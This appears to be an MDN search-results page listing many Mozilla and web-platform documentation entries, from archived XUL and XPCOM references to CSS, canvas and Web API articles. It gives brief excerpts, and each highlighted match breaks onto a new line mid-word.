viewing data drawn from the file.
...And 7 more matches
What is RSS - Archive of obsolete content
(although rdf-based rss formats exist, namely the deprecated rss 0.90 and rss 1.0.) common uses of rss syndication are for the syndication of news web sites, of blogs, of internet radio, and of internet tele
vision.
...it wasn't really a format for syndication, but was a format for pro
viding a summary of a website.
...like rss 0.90, netscape's rss 0.91 was also a format for pro
viding a summary of a website, and not really a syndication format (as it is today).
...And 7 more matches
Table Reflow Internals - Archive of obsolete content
over
view re
view of reflow table frames table reflow intro to paginated reflow table paginated reflow re
view of reflow reflow process starts when an html document starts loading (the frame tree contains only
viewport, scroll(s), canvas, html, body).
... re
view of reflow reflow starts with pres shell which reflows the reflow root (usually the
viewport frame), which reflows it children, etc.
...the reflower positions reflowee (if it can) before actually reflowing in case
views are involved (e.g.
...And 7 more matches
Theme changes in Firefox 2 - Archive of obsolete content
browser/dropmark-nav-small.png new file; used as the drop-down menu arrow on the na
vigation buttons, when using small icons.
... browser/dropmark-nav.png new file; used as the drop-down menu arrow on the na
vigation buttons.
...it should use translucency to allow the window contents to be
visible through it.
...And 7 more matches
Using SSH to connect to CVS - Archive of obsolete content
anonymous/read-only access
via ssh is not available at this time.
... setting up cvs to use ssh in your system's en
vironment, make sure thatcvs_rsh is set to whatever your ssh binary is called; a full path is not necessary if ssh is already in your path.
... replace pserver with ext in your cvsroot en
vironment variable.
...And 7 more matches
Processing XML with E4X - Archive of obsolete content
this chapter pro
vides a practical over
view of the language; it is not a complete reference.
...ing to the xml constructor: var languages = new xml('<languages type="dynamic"><lang>javascript</lang><lang>python</lang></languages>'); the second is to embed the xml directly in your script, as an xml literal: var languages = <languages type="dynamic"> <lang>javascript</lang> <lang>python</lang> </languages>; in both cases, the resulting object will be an e4x xml object, which pro
vides convenient syntax for both accessing and updating the encapsulated data.
...the syntax is designed to be familiar to javascript programmers, but e4x does not pro
vide a direct mapping from xml to native javascript objects; just the illusion of one.
...And 7 more matches
Archived open Web documentation - Archive of obsolete content
this article re
views several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection.
...re detection an experimental approach to discovering degree of support for standards css obsolete css features displaying notifications (deprecated) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system pro
vided by the operating system.
...it does this by pro
viding access to the xml document in a form that feels natural for ecmascript programmers.
...And 7 more matches
Introduction to game development for the Web - Game development
the modern web has quickly become a
viable platform not only for creating stunning, high quality games, but also for distributing those games.
...thanks to massive performance improvements in javascript just-in-time compiler technology and new apis, you can build games that run in the browser (or on html5-powered de
vices) without making compromises.
...as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio web audio api graphics webgl (opengl es 2.0) input touch events, gamepad api, de
vice sensors, webrtc, full screen api, pointer lock api language javascript (or c/c++ using emscripten to compile to javascript) networking webrtc and/or websockets storage indexeddb or the "cloud" web html, css, svg (and much more!) the business case as a game developer, whether you're an indi
vidual or a large game studio, you want to know why it makes sense to target the web with your...
...And 7 more matches
Backgrounds and borders - Learn web development
pre
vious over
view: building blocks next in this lesson, we will take a look at some of the creative things you can do with css backgrounds and borders.
... .box { background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat, url(big-star.png) center no-repeat, rebeccapurple; } we'll return to how the shorthand works later in the tutorial, but first let's have a look at the different things you can do with backgrounds in css, by looking at the indi
vidual background properties.
... controlling background-repeat the background-repeat property is used to control the tiling beha
vior of images.
...And 7 more matches
How CSS is structured - Learn web development
pre
vious over
view: first steps next now that you are beginning to understanding the purpose and use of css, let's examine the structure of css.
...you might have to resort to using inline styles if your working en
vironment is very restrictive.
...a class is rated as being more specific, as in ha
ving more specificity than the element selector, so it cancels the other conflicting style declaration.
...And 7 more matches
What is CSS? - Learn web development
over
view: first steps next css (cascading style sheets) allows you to create great-looking web pages, but how does it work under the hood?
... for more on browser/default styles, check out the following
video: what is css for?
...browsers, like firefox, chrome, or edge , are designed to present documents
visually, for example, on a computer screen, projector or printer.
...And 7 more matches
What text editors are available? - Learn web development
ob
viously, that matters too, but a product's cost has little connection with its quality or capability.
...spad closed source free windows faq, forum online help yes sublime text closed source $70 windows, mac, linux forum official, unofficial yes textmate closed source $50 mac twitter, irc, mailing list, e-mail online manual, wiki yes textwrangler closed source free mac faq, forum pdf manual no
vim specific open license free windows, mac, linux mailing list online manual yes
visual studio code open source under mit licence/ specific licence for product free windows, mac, linux faq documentation yes active learning in this active learning section, we would like you to try using and/or installing a text editor of your choice.
...in particular (if possible in your editor), try to: change syntax highlighting settings and colors play with indentation width, setting it to an appropriate setting for your needs check autosave and session sa
ving settings configure any available plugins and investigate how to get new ones change color schemes adjust
view settings and see how you can change the layout of the
views check what programming languages/technologies your editor supports while you're learning the default settings of most text editors should be fine to use, but it is important to become familiar with your chosen tools, so y...
...And 7 more matches
Styling web forms - Learn web development
pre
vious over
view: forms next in the pre
vious few articles we looked at all the html you'll need to create and structure your web forms.
... and even with css available to style html, browser vendors have historically been reluctant to make form controls stylable because users were so accustomed to the
visual appearance of their respective platforms.
...these problems can be di
vided into three categories: the good some elements can be styled with few if any problems across platforms.
...And 7 more matches
Web forms — Working with user data - Learn web development
this module pro
vides a series of articles that will help you master the essentials of web forms.
...however, for historical and technical reasons it's not always ob
vious how to use them to their full potential.
... note: if you are working on a computer/tablet/other de
vice where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
...And 7 more matches
Define terms with HTML - Learn web development
html pro
vides several ways to convey description semantics, whether inline or as structured glossaries.
... to deal with these use cases, html pro
vides tags to mark descriptions and words described, so that your meaning gets across properly to your readers.
... we do that in html too, except html is not a
visual medium and so we don't use bold.
...And 7 more matches
Advanced text formatting - Learn web development
pre
vious over
view: introduction to html next there are many other elements in html for formatting text, which we didn't get to in the html text fundamentals article.
...if you want to make the source of the quotation available on the page you need to make it available in the text
via a link or some other appropriate way.
...ate the saved usercode every time the user updates the text area code textarea.onkeyup = function(){ // we only want to save the state when the user code is being shown, // not the solution, so that solution is not saved over the user code if(solution.value === 'show solution') { userentry = textarea.value; } else { solutionentry = textarea.value; } updatecode(); }; abbre
viations another fairly common element you'll meet when looking around the web is <abbr> — this is used to wrap around an abbre
viation or acronym, and pro
vide a full expansion of the term (included inside a title attribute.) let's look at a couple of examples: <p>we use <abbr title="hypertext markup language">html</abbr> to structure our web documents.</p> <p>i think <abbr title="reverend">rev...
...And 7 more matches
Mozilla splash page - Learn web development
pre
vious over
view: multimedia and embedding in this assessment, we'll test your knowledge of some of the techniques discussed in this module's articles, getting you to add some images and
video to a funky splash page all about mozilla!
... objective: to test knowledge around embedding images and
video in web pages, frames, and html responsive image techniques.
... project brief in this assessment we are presenting you with a mostly-finished mozilla splash page, which aims to say something nice and interesting about what mozilla stands for, and pro
vide some links to further resources.
...And 7 more matches
Test your skills: Multimedia and embedding - Learn web development
this aim of this skill test is to assess whether you've understood our
video and audio content and from object to iframe — other embedding technologies articles.
... multimedia and embedding 2 in this task we want you to mark up a slightly more complex
video player, with multiple sources, subtitles, and other features besides.
... add some appropriate fallback text for browsers that don't support <
video>.
...And 7 more matches
Making asynchronous programming easier with async and await - Learn web development
pre
vious over
view: asynchronous next more recent additions to the javascript language are async functions and the await keyword, part of the so-called ecmascript 2017 javascript edition (see ecmascript next support in mozilla).
... here is a tri
vial example: async function hello() { return greeting = await promise.resolve("hello"); }; hello().then(alert); of course, the above example is not very useful, although it does serve to illustrate the syntax.
... rewriting promise code with async/await let's look back at a simple fetch example that we saw in the pre
vious article: fetch('coffee.jpg') .then(response => { if (!response.ok) { throw new error(`http error!
...And 7 more matches
JavaScript object basics - Learn web development
over
view: objects next in this article, we'll look at fundamental javascript object syntax, and re
visit some javascript features that we've already seen earlier in the course, reiterating the fact that many of the features you've already dealt with are objects.
...try entering the following line below the javascript code that's already in your file, then sa
ving and refreshing: const person = {}; now open your browser's javascript console, enter person into it, and press enter/return.
...i\'m ' + this.name[0] + '.'); } }; after sa
ving and refreshing, try entering some of the following into the javascript console on your browser devtools: person.name person.name[0] person.age person.interests[1] person.bio() person.greeting() you have now got some data and functionality inside your object, and are now able to access them with some nice simple syntax!
...And 7 more matches
Inheritance in JavaScript - Learn web development
pre
vious over
view: objects next with most of the gory details of oojs now explained, this article shows how to create "child" object classes (constructors) that inherit features from their "parent" classes.
... in addition, we present some ad
vice on when and where you might use oojs, and look at how classes are dealt with in modern ecmascript syntax.
...; this.height = 20; } you could inherit the width and height properties by doing this (as well as the other steps described below, of course): function blueglassbrick() { brick.call(this); this.opacity = 0.5; this.color = 'blue'; } note that we've only specified this inside call() — no other parameters are required as we are not inheriting any properties from the parent that are set
via parameters.
...And 7 more matches
Object prototypes - Learn web development
pre
vious over
view: objects next prototypes are the mechanism by which javascript objects inherit features from one another.
...in the next article, we talk about the modern way of doing things, which pro
vides easier syntax to achieve the same things — see ecmascript 2015 classes.
... javascript is often described as a prototype-based language — to pro
vide inheritance, objects can have a prototype object, which acts as a template object that it inherits methods and properties from.
...And 7 more matches
Measuring performance - Learn web development
pre
vious over
view: performance next meauring performance pro
vides an important metric to help you asses the success of your app, site, or web ser
vice.
... objective: to pro
vide information about web performance metrics that you can collect through various web performance apis and tools that you can use to
visualize that data.
... you can use the na
vigation timing api to measure client-side web performance; including the amount of time needed to unload the pre
vious page, how long domain lookups take, the total time spent executing the window's load handler, and more.
...And 7 more matches
React resources - Learn web development
pre
vious over
view: client-side javascript frameworks next our final article pro
vides you with a list of react resources that you can use to go further in your learning.
... objective: to pro
vide further resources for learning more about react.
...for larger applications with hundreds of unique
views and lots of mo
ving parts, it makes sense to limit the amount of irrelevant code that's sent to your user.
...And 7 more matches
Creating Sandboxed HTTP Connections
to create an nsiuri from an string, we use the newuri method of nsiioser
vice: // the io ser
vice var ioser
vice = components.classes["@mozilla.org/network/io-ser
vice;1"] .getser
vice(components.interfaces.nsiioser
vice); // create an nsiuri var uri = ioser
vice.newuri(myurlstring, null, null); once the nsiuri has been created, a nsichannel can be generated from it using nsiioser
vice's newchannelfromuri method: // get a channel for that nsiuri va...
...r channel = ioser
vice.newchannelfromuri(uri); to initiate the connection, the asyncopen method is called.
...below is an example: // global channel var gchannel; // init the channel // the io ser
vice var ioser
vice = components.classes["@mozilla.org/network/io-ser
vice;1"] .getser
vice(components.interfaces.nsiioser
vice); // create an nsiuri var uri = ioser
vice.newuri(myurlstring, null, null); // get a channel for that nsiuri gchannel = ioser
vice.newchannelfromuri(uri); // get an listener var listener = new streamlistener(callbackfunc); gchannel.notificationcallba...
...And 7 more matches
Error codes returned by Mozilla APIs
these components usually pro
vide an initialization method, often called init, which must be called before other methods are used.
... ns_error_factory_not_registered (0x80040154) returned when a ser
vice could not be found.
...in addition, this error may occur when a relative path is supplied to a method that expects an absolute path and
vice versa.
...And 7 more matches
Introduction to Layout in Mozilla
over
view basic data flow key data structures detailed walk-through incrementalism future tech-talks wrap-up, q&a basic data flow source document arrives
via network apis incrementally “pumped” through the single-threaded layout engine parse, compute style, render; repeat css used for rendering all content content theoretically separate from “presentation” key data structures content node elements, attributes, leaves dom frame rectangular formatting primitive geometric information [0..n] per content node 2nd thru nth are “continuations” style context non-geometric information may be shared by adjacent frames reference counted, owned by frame ...
...
view clipping, z-order, transparency [0..1] per frame, owned by frame widget native window [0..1] per
view, owned by
view key data structures the document owns the content model, and one or more presentations exposed programmatically
via dom apis the presentation owns the frame hierarchy frames own the style contexts,
views, widgets presentation has media type, dimensions, etc.
... may not be directly manipulated detailed walk-through setting up content model construction frame construction style resolution reflow painting setting up assume basic knowledge of embedding and network apis (doc shell, streams) content dll auto-registers a document loader factory (dlf) @mozilla.org/content-
viewer-factory/
view;1?type=text/html all mime types mapped to the same class, nscontentdlf nsdocshell receives inbound content
via nsdsuricontentlistener invokes nsidlf::createinstance, passes mime type to dlf nscontentdlf creates a nshtmldocument object, invokes startdocumentload.
...And 7 more matches
JNI.jsm
if you would like to support versions before that, you can copy and paste the contents of the jsm file int jni stands for java native interface; this library allows calling java code running in java
virtual machines (jvms), etc.
... a note about firefox for android, this jsm file is already globally imported and is available from the pri
vileged window scope as window.jni.
... method over
view cdata getforthread(); cdata loadclass(cdata ajenv, string aclassfullyqualifiedname, [optional] object adeclares); cdata newstring(cdata ajenv, string astr); string readstring(cdata ajenv, cdata ajavastring); void unloadclasses(); methods getforthread() blah blah cdata getforthread(); parameters this function does not take any arguments.
...And 7 more matches
NetUtil.jsm
the netutil.jsm javascript code module pro
vides easy-to-use apis for performing common network related tasks.
... method over
view nsiasyncstreamcopier asynccopy(nsiinputstream asource, nsioutputstream asink, [optional] acallback) void asyncfetch(asource, acallback) nsichannel newchannel(awhattoload, [optional] aorigincharset, [optional] nsiuri abaseuri) nsiuri newuri(atarget, [optional] aorigincharset, [optional] nsiuri abaseuri) string readinputstreamtostring(ainputstream, acount, aoptions) attributes attribute type description ioser
vice nsiioser
vice returns a reference to nsiioser
vice.
... var file = cc["@mozilla.org/file/directory_ser
vice;1"].
...And 7 more matches
Using JavaScript code modules
javascript code modules are a concept introduced in gecko 1.9 and can be used for sharing code between different pri
vileged scopes.
... modules can also be used to create global javascript singletons that pre
viously required using javascript xpcom objects.
...app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "6" alert(dummy); // displays "dummy is not defined" because 'dummy' was not exported from the module note: when you're testing changes to a code module, be sure to change the application's build id (e.g., the version) before your next test run; otherwise, you may find yourself running the pre
vious version of your module's code.
...And 7 more matches
Localization and Plurals
for all other properties files that link to this page, you'll need to pro
vide enough plural forms of the desired word, and separate them with semi-colons (;).
...0, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, … plural rule #1 (2 forms) families: germanic (danish, dutch, english, faroese, frisian, german, norwegian, swedish), finno-ugric (estonian, finnish, hungarian), language isolate (basque), latin/greek (greek), semitic (hebrew), romanic (italian, portuguese, spanish, catalan),
vietnamese is 1: 1 everything else: 0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, … plural rule #2 (2 forms) families: romanic (french, brazilian portuguese), lingala is 0 or 1: 0, 1 everything else: 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 1...
...6, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, … plural rule #3 (3 forms) families: baltic (lat
vian, latgalian) ends in 0: 0 ends in 1, excluding 11: 1, 21, 31, 41, 51, 61, 71, 81, 91, 101, 121, 131, 141, 151, 161, 171, 181, 191, 201, 221, 231, 241, 251, 261, 271, 281, 291, … everything else: 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 22, 23, 24, 25, 26, 27, 28, 29, 32, 33, 34, 35, 36, 37, 38, 39, 42, 43, 44, 45, 46, 47, 48, 49, 52, 53, … plural rule #4 (4 forms) families: celtic (scottish gaelic) is 1 or 11: 1, 11 is 2 or 12: 2, 12 is 3-10 or 13-19: 3, 4, 5, 6, 7, 8, 9, 10, 13, 14, 15, 16, 17, 18, 19 everything else: 0, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,...
...And 7 more matches
GC and CC logs
it also creates a file named cc-edges-nnnn.log to which it dumps the parts of the heap
visible to the cycle collector, which includes native c++ objects that participate in cycle collection, as well as js objects being held alive by those c++ objects.
... generating logs from within firefox to manually generate gc and cc logs, na
vigate to about:memory and use the buttons under "save gc & cc logs." "save concise" will generate a smaller cc log, "save verbose" will pro
vide a more detailed cc log.
... as noted in the pre
vious section, with multiprocess firefox, you can't record logs from the content process, due to sandboxing.
...And 7 more matches
Leak-hunting strategies and tips
strategy for finding leaks when trying to make a particular testcase not leak, i recommend focusing first on the largest object graphs (since these entrain many smaller objects), then on smaller reference-counted object graphs, and then on any remaining indi
vidual objects or small object graphs that don't entrain other objects.
...then go on to selecting a folder, then selecting a message, and then other acti
vities one does while reading mail.
... tool finds platforms requires leak tools for large object graphs leak gauge windows, documents, and docshells only all platforms any build gc and cc logs js objects, dom objects, many other kinds of objects all platforms any build leak tools for medium-size object graphs bloat
view, refcount tracing and balancing objects that implement nsisupports or use moz_count_{ctor,dtor} all tier 1 platforms debug build (or build opt with --enable-logrefcnt) leaksoup (part of tracemalloc) all objects?
...And 7 more matches
A guide to searching crash reports
please read the documentation about indi
vidual crash reports before reading this page.
... the mozilla crash-stats site pro
vides facilities for investigating large numbers of firefox crash reports.
... fields are pro
vided for four common search criteria: product, version, platform, and process type.
...And 7 more matches
nss tech note5
if not using cbc mode, just pass a null iv parm to pk11_paramfromiv function secitem i
vitem; i
vitem.data = /* ptr to an array of iv bytes */ i
vitem.len = /* length of the array of iv bytes */ secitem *secparam = pk11_paramfromiv(ciphermech, &i
vitem);</big> <big>now encrypt and decrypt using the key and parameter setup in above steps</big> create encryption context pk11context* enccontext = pk11_createcontextbysymkey(ciphermech, ...
...the param must be pro
vided, but can be empty.
... secitem param; param.data = 0; param.len = 0;</big> <big>create crypto context</big> pk11context* digestcontext = pk11_createcontextbysymkey(digestmech, cka_digest, symkey, ¶m); <big>digest the data</big>, pro
viding the key <big>secstatus s = pk11_digestbegin(digestcontext); s = pk11_digestkey(digestcontext, symkey); s = pk11_digestop(digestcontext, data, sizeof data); s = pk11_digestfinal(digestcontext, digest, &len, sizeof digest); /* now, digest contains the 'digest', and len contains the length of the digest */</big> clean up pk11_destroycontext(digestcontext, pr_true); pk11_freesymkey(symkey); pk11_freeslot(...
...And 7 more matches
Build instructions
make variables may be set on the gmake command line, e.g., gmake variable=value variable=value target1 target2 or defined in the en
vironment, e.g.
... for windows, install the mozillabuild en
vironment and microsoft
visual studio 2010.
... (the free edition works, and other versions like
visual studio 2008 and
visual studio 2012 may also work.) use start-shell-msvc2010.bat from mozillabuild to get a bash shell with the path already configured, and execute these instructions from within that bash shell.
...And 7 more matches
sslintro.html
upgraded documentation may be found in the current nss reference over
view of an ssl application chapter 1 over
view of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications.
... warning: some of the ssl header files pro
vided as part of nss 2.0 include both public apis documented in the nss 2.0 documentation set and private apis intended for internal use by the nss implementation of ssl.
...sets up configuration files and performs other tasks required to run network security ser
vices.
...And 7 more matches
NSS Tools certutil
-s create an indi
vidual certificate and add it to a certificate database.
...if you create a new key pair for such a card, the pre
vious pair is overwritten.
...this option is pro
vided as a special case.
...And 7 more matches
JSClass
use null or js_propertystub (spidermonkey 31 or older) for default beha
vior.
... use null or js_deletepropertystub (spidermonkey 31 or older) for default beha
vior.
... use null or js_propertystub (spidermonkey 31 or older) for default beha
vior.
...And 7 more matches
SpiderMonkey 1.8.7
type inference largely ob
viates tracemonkey, so the tracemonkey jit has been removed.
...on other platforms, the jit is simply disabled; javascript code runs in an interpreter, as in pre
vious versions.
... spidermonkey 1.8.7 is not binary-compatible with pre
vious releases, nor is it source-code compatible.
...And 7 more matches
SpiderMonkey 38
it continues to improve performance over pre
vious spidermonkey releases, with xxx blah blah blah.
... if you are compiling with microsoft's
visual studio, note that the minimum supported version is msvc10/2010.
...on some other platforms (sparc, mips), the jit is pro
vided but not supported.
...And 7 more matches
XPCOM changes in Gecko 2.0
this article details those changes, and pro
vides suggestions for how to update your code.
...that's because it's among the earliest notifications that occurs after the profile folder (and therefore preferences and other ser
vices) is available.
...see recei
ving startup notifications for details.
...And 7 more matches
nsIAccessible
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) over
view this section pro
vides short over
view of methods and attributes of this interface.
... nsiaccessible.role to get the role of the accessible nsiaccessible.getstate() to get states of the accessibe nsiaccessible.name, nsiaccessible.value to get the name and the value of the accessible tree na
vigation you can na
vigate through the accessible tree by the following methods and attributes.
... nsiaccessible.parent to get the parent accessible nsiaccessible.nextsibling, nsiaccessible.pre
vioussibling to get sibling accessibles nsiaccessible.firstchild, nsiaccessible.lastchild to get first and last child nsiaccessible.children, nsiaccessible.getchildat(), nsiaccessible.childcount to na
vigate through the children by index accessible position you can use nsiaccessible.indexinparent to get accessible index in its parent.
...And 7 more matches
nsICache
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports constants constant value description access_none 0 access granted - no descriptor is pro
vided.
... store_anywhere 0 the storage policy of a cache entry determines the de
vice(s) to which it belongs.
...allows the cache entry to be stored in any de
vice.
...And 7 more matches
nsICacheEntryDescriptor
netwerk/cache/nsicacheentrydescriptor.idlscriptable this interface pro
vides a cache entry descriptor.
... inherits from: nsicacheentryinfo last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void close(); void doom(); void doomandfailpendingrequests(in nsresult status); string getmetadataelement(in string key); void markvalid(); nsiinputstream openinputstream(in unsigned long offset); nsioutputstream openoutputstream(in unsigned long offset); void setdatasize(in unsigned long size); void setexpirationtime(in pruint32 expirationtime); void setmetadataelement(in string key, in string value); void
visitmetadata(in nsicachemetadata
visitor
visitor); attributes attribute type description accessgranted nscacheaccessmode get the access granted to this descriptor.
...checked before we write to the cache entry, to prevent ever taking up space in the cache for an entry that we know up front is going to have to be e
victed anyway.
...And 7 more matches
nsIComponentRegistrar
xpcom/components/nsicomponentregistrar.idlscriptable this interface pro
vides methods to access and modify the xpcom component registry.
... inherits from: nsisupports last changed in gecko 1.0 method over
view void autoregister(in nsifile aspec); void autounregister(in nsifile aspec); string cidtocontractid(in nscidref aclass); nscidptr contractidtocid(in string acontractid); nsisimpleenumerator enumeratecids(); nsisimpleenumerator enumeratecontractids(); boolean iscidregistered(in nscidref aclass); boolean iscontractidregistered(in string acontractid); void registerfactory(in nscidref aclass, in string aclassname, in string acontractid, in nsifactory afactory); void registerfactorylocation(in nscidref aclass, in string aclassname, in string acontractid, in nsifile afile, in string aloaderstr, in string atype); void unregisterfactory(in nscidref aclass, in nsifactory afactory); void unregisterfactor...
...see nsdirectoryser
vice.
...And 7 more matches
nsIDOMSimpleGestureEvent
the following events are generated: mozswipegesture - generated when the user completes a swipe across across the input de
vice.
... moztapgesture - generated when the user executes a two finger tap gesture on the input de
vice.
...(xxx not implemented on mac) mozpresstapgesture - generated when the user executes a press and tap two finger gesture (first finger down, second finger down, second finger up, first finger up) on the input de
vice.
...And 7 more matches
nsIWebContentHandlerRegistrar
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/embeddor.implemented/web-content-handler-registrar;1 as a ser
vice: var nsiwchr = cc["@mozilla.org/embeddor.implemented/web-content-handler-registrar;1"] .getser
vice(ci.nsiwebcontenthandlerregistrar); method over
view void registercontenthandler(in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow contentwindow) void registerprotocolhandler(in domstring protocol,in domstring uri, in domstring t...
...can bypass this by opening about:config and setting preference of gecko.handlerser
vice.allowregisterfromdifferenthost to true.
... examples register a webmail ser
vice as mailto handler the following code aims to add "outlook.com live mail" to list of webser
vice handlers.
...And 7 more matches
XPIDL
note: starting in gecko 9.0, the older xpidl utility, which was pre
viously used to generate c++ header files, typelib information, and so forth has been replaced with pyxpidl in the gecko sdk.
... in addition to this list, nearly every idl file includes nsrootidl.idl in some fashion, which also defines the following types: table 2: types pro
vided by nsrootidl.idl idl typedef c++ in parameter c++ out parameter js type notes prtime (xpidl unsigned long long typedef, 64 bits) number prtime is in microseconds, while js date assumes time in milliseconds nsresult (xpidl unsigned long typedef, 32 bits) number nsrefcnt (xpidl unsigned long typedef, 32 bits) number ...
...types can of course be one of the fundamental types, or any other type declared
via a typedef, interface, or a native type.
...And 7 more matches
XUL Overlays
overlays pro
vide a general mechanism for: adding ui for additional components, as described in the example above overriding small pieces of a xul file without ha
ving to resupply the whole ui reusing particular pieces of the ui xul files and overlays work together to describe a single master document.
...when plug-ins, browser extensions, or other applications pro
vide new ui elements to the browser, these elements should be defined in overlay files.
... the installation of a media plug-in, for example, may add new icons and menu items to the interface: in the na
vigatoroverlay.xul file or in a separate na
vigatorsspoverlay.xul file (where na
vigator.xul defines the basic ui for the na
vigator package), these new plug-in elements would be defined as a collection of elements or subtrees: <menuitem name="super stream player"/> <menupopup name="ss favorites"> <menuitem name="wave" src="mavericks.ssp"/> <menuitem name="soccer" src="brazil_soccer.ssp"/> </menupopup> <titledbutton id="ssp" crop="right" flex="1" value="&ssbutton.label;" onclick="firessp()"/> overlays and id attributes bases and overlays are merged when they share the same id attribute.
...And 7 more matches
URLs - Plugins
« pre
viousnext » this chapter describes retrie
ving urls and displaying them on specified target pages, posting data to an http server, uploading files to an ftp server, and sending mail.
... uniform resource locator (url) protocols pro
vide a means for locating and accessing resources that are available on the internet and on intranets.
... mailto (electronic mail address) locates the internet mailing address of an indi
vidual or ser
vice.
...And 7 more matches
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
discovering css grids when an html element on your page has display: grid applied to it, a number of features are made available in the devtools to pro
vide easy access to grid features.
... in the css pane in the css pane's rules
view, any instance of a display: grid declaration gets a grid icon included within it: .
... the layout
view grid section when grids are included on a page, the css pane's layout
view includes a "grid" section containing a number of options for
viewing those grids.
...And 7 more matches
Firefox Developer Tools
closes the developer tools page inspector
view and edit page content and layout.
...
visualise many aspects of the page including the box model, animations, and grid layouts.
... responsive design mode see how your website or app will look and behave on different de
vices and network types.
...And 7 more matches
AudioNode - Web APIs
an html <audio> or <
video> element, an oscillatornode, etc.), the audio destination, intermediate processing module (e.g.
... a filter like biquadfilternode or convolvernode), or volume control (like gainnode) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><lin...
...on the other hand, a destination node has no outputs; instead, all its inputs are directly played back on the speakers (or whatever audio output de
vice the audio context uses).
...And 7 more matches
CanvasRenderingContext2D - Web APIs
the canvasrenderingcontext2d interface, part of the canvas api, pro
vides the 2d rendering context for the drawing surface of a <canvas> element.
... canvasrenderingcontext2d.clearrect() sets all pixels in the rectangle defined by starting point (x, y) and size (width, height) to transparent black, erasing any pre
viously drawn content.
... canvasrenderingcontext2d.arcto() adds an arc to the current path with the given control points and radius, connected to the pre
vious point by a straight line.
...And 7 more matches
Drawing shapes with canvas - Web APIs
« pre
viousnext » now that we have set up our canvas en
vironment, we can get into the details of how to draw on the canvas.
... by the end of this article, you will have learned how to draw rectangles, triangles, lines, arcs and curves, pro
viding familiarity with some of the basic shapes.
...our html skeleton from the pre
vious page had a canvas element 150 pixels wide and 150 pixels high.
...And 7 more matches
Transformations - Web APIs
« pre
viousnext » earlier in this tutorial we've learned about the canvas grid and the coordinate space.
... sa
ving and restoring state before we look at the transformation methods, let's look at two other methods which are indispensable once you start generating ever more complex drawings.
... ctx.fillstyle = '#09f'; // make changes to the settings ctx.fillrect(15, 15, 120, 120); // draw a rectangle with new settings ctx.save(); // save the current state ctx.fillstyle = '#fff'; // make changes to the settings ctx.globalalpha = 0.5; ctx.fillrect(30, 30, 90, 90); // draw a rectangle with new settings ctx.restore(); // restore pre
vious state ctx.fillrect(45, 45, 60, 60); // draw a rectangle with restored settings ctx.restore(); // restore original state ctx.fillrect(60, 60, 30, 30); // draw a rectangle with restored settings } <canvas id="canvas" width="150" height="150"></canvas> draw(); the first step is to draw a large rectangle with the default settings.
...And 7 more matches
Using channel messaging - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, or two documents
via a sharedworker) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
... use cases channel messaging is mainly useful in cases where you've got a social site that embeds capabilities from other sites into its main interface
via iframes, such as games, address book, or an audio player with personalized music choices.
... message channels on the other hand can pro
vide a secure channel that allows you to pass data between different browsing contexts.
...And 7 more matches
FetchEvent.respondWith() - Web APIs
the respondwith() method of fetchevent prevents the browser's default fetch handling, and allows you to pro
vide a promise for a response yourself.
... in most cases you can pro
vide any response that the receiver understands.
... specifying the final url of a resource from firefox 59 onwards, when a ser
vice worker pro
vides a response to fetchevent.respondwith(), the response.url value will be propagated to the intercepted network request as the final resolved url.
...And 7 more matches
Using the Frame Timing API - Web APIs
the performanceframetiming interface pro
vides frame timing data about the browser's event loop.
...this data can be used to help identify areas that take too long to pro
vide a good user experience.
...for an over
view of these interfaces see frame timing api.
...And 7 more matches
HTMLImageElement.height - Web APIs
the height property of the htmlimageelement interface indicates the height at which the image is drawn, in css pixels if the image is being drawn or rendered to any
visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected height of the image.
...the terms in which the height is defined depends on whether the image is being rendered to a
visual medium or not.
... if the image is being rendered to a
visual medium such as a screen or printer, the height is expressed in css pixels.
...And 7 more matches
HTMLImageElement.sizes - Web APIs
this pro
vides the ability to automatically select among different images—even images of different orientations or aspect ratios—as the document state changes to match different media conditions.
